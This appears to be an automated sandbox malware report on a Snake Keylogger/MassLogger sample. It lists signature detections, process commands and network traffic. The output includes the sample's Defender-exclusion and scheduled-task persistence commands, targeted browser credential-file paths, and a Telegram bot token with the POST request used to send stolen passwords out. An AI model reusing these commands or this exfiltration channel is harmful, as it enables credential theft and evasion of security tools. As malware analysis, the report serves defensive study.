0.2.UOEAjWmusE.exe.483c900.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.UOEAjWmusE.exe.483c900.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.UOEAjWmusE.exe.483c900.0.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.UOEAjWmusE.exe.483c900.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc57f7:$a1: get_encryptedPassword 0xc5b1f:$a2: get_encryptedUsername 0xc5592:$a3: get_timePasswordChanged 0xc56b3:$a4: get_passwordField 0xc580d:$a5: set_encryptedPassword 0xc7169:$a7: get_logins 0xc6e1a:$a8: GetOutlookPasswords 0xc6c0c:$a9: StartKeylogger 0xc70b9:$a10: KeyLoggerEventArgs 0xc6c69:$a11: KeyLoggerEventArgsEventHandler
0.2.UOEAjWmusE.exe.483c900.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a3d7:$a1: get_encryptedPassword 0x6a6ff:$a2: get_encryptedUsername 0x6a172:$a3: get_timePasswordChanged 0x6a293:$a4: get_passwordField 0x6a3ed:$a5: set_encryptedPassword 0x6bd49:$a7: get_logins 0x6b9fa:$a8: GetOutlookPasswords 0x6b7ec:$a9: StartKeylogger 0x6bc99:$a10: KeyLoggerEventArgs 0x6b849:$a11: KeyLoggerEventArgsEventHandler
9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0xca7a3:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc9ca1:$a3: \Google\Chrome\User Data\Default\Login Data 0xc9faf:$a4: \Orbitum\User Data\Default\Login Data 0xcada7:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.483c900.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x6f383:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x6e881:$a3: \Google\Chrome\User Data\Default\Login Data 0x6eb8f:$a4: \Orbitum\User Data\Default\Login Data 0x6f987:$a5: \Kometa\User Data\Default\Login Data
9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
Click to see the 61 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\UOEAjWmusE.exe", ParentImage: C:\Users\user\Desktop\UOEAjWmusE.exe, ParentProcessId: 6704, ParentProcessName: UOEAjWmusE.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe", ProcessId: 2108, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe, ParentImage: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe, ParentProcessId: 3552, ParentProcessName: gJdonuKfIrqN.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp", ProcessId: 1224, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\UOEAjWmusE.exe", ParentImage: C:\Users\user\Desktop\UOEAjWmusE.exe, ParentProcessId: 6704, ParentProcessName: UOEAjWmusE.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp", ProcessId: 2112, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\UOEAjWmusE.exe", ParentImage: C:\Users\user\Desktop\UOEAjWmusE.exe, ParentProcessId: 6704, ParentProcessName: UOEAjWmusE.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe", ProcessId: 2108, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\UOEAjWmusE.exe", ParentImage: C:\Users\user\Desktop\UOEAjWmusE.exe, ParentProcessId: 6704, ParentProcessName: UOEAjWmusE.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp", ProcessId: 2112, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T15:48:35.899643+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.12	49693	149.154.167.220	443	TCP
2025-03-07T15:48:40.403148+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.12	49694	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T15:48:25.365310+0100	2803274	2	Potentially Bad Traffic	192.168.2.12	49689	193.122.130.0	80	TCP
2025-03-07T15:48:29.990241+0100	2803274	2	Potentially Bad Traffic	192.168.2.12	49691	193.122.130.0	80	TCP
2025-03-07T15:48:32.865246+0100	2803274	2	Potentially Bad Traffic	192.168.2.12	49689	193.122.130.0	80	TCP
2025-03-07T15:48:37.693395+0100	2803274	2	Potentially Bad Traffic	192.168.2.12	49691	193.122.130.0	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T15:48:35.252587+0100	1810008	1	Potentially Bad Traffic	192.168.2.12	49693	149.154.167.220	443	TCP
2025-03-07T15:48:39.712501+0100	1810008	1	Potentially Bad Traffic	192.168.2.12	49694	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: UOEAjWmusE.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe

Avira: detection malicious, Label: TR/AD.SnakeStealer.zxgto

Found malware configuration

Source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0", "Telegram Chatid": "7791468448"}
Source: gJdonuKfIrqN.exe.1616.12.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe

ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: UOEAjWmusE.exe	Virustotal: Detection: 74%			Perma Link
Source: UOEAjWmusE.exe	ReversingLabs: Detection: 78%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: UOEAjWmusE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.12:49690 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.12:49692 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49694 version: TLS 1.2

Source: UOEAjWmusE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: gATZ.pdbSHA256% source: UOEAjWmusE.exe, gJdonuKfIrqN.exe.0.dr
Source:	Binary string: gATZ.pdb source: UOEAjWmusE.exe, gJdonuKfIrqN.exe.0.dr

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 4x nop then jmp 01165782h	7_2_01165358
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 4x nop then jmp 011651B9h	7_2_01164F08
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 4x nop then jmp 01165782h	7_2_011656AF
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 4x nop then jmp 01115782h	12_2_01115363
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 4x nop then jmp 011151B9h	12_2_01114F08
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 4x nop then jmp 01115782h	12_2_011156AF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.12:49693 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.12:49693 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.12:49694 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.12:49694 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0/sendDocument?chat_id=7791468448&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5d5d38c24983Host: api.telegram.orgContent-Length: 1088Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0/sendDocument?chat_id=7791468448&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5d5d3ba3d77dHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.12:49689 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.12:49691 -> 193.122.130.0:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.12:49690 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.12:49692 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0/sendDocument?chat_id=7791468448&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5d5d38c24983Host: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgl
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.coml
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DC5000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/l
Source: UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgl
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D5D000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D5D000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgl
Source: UOEAjWmusE.exe, 00000000.00000002.1331909369.0000000002F9B000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 00000009.00000002.1375618347.00000000024D2000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: UOEAjWmusE.exe, gJdonuKfIrqN.exe.0.dr	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0/sendDocument?chat_id=7791
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l

Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49694 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
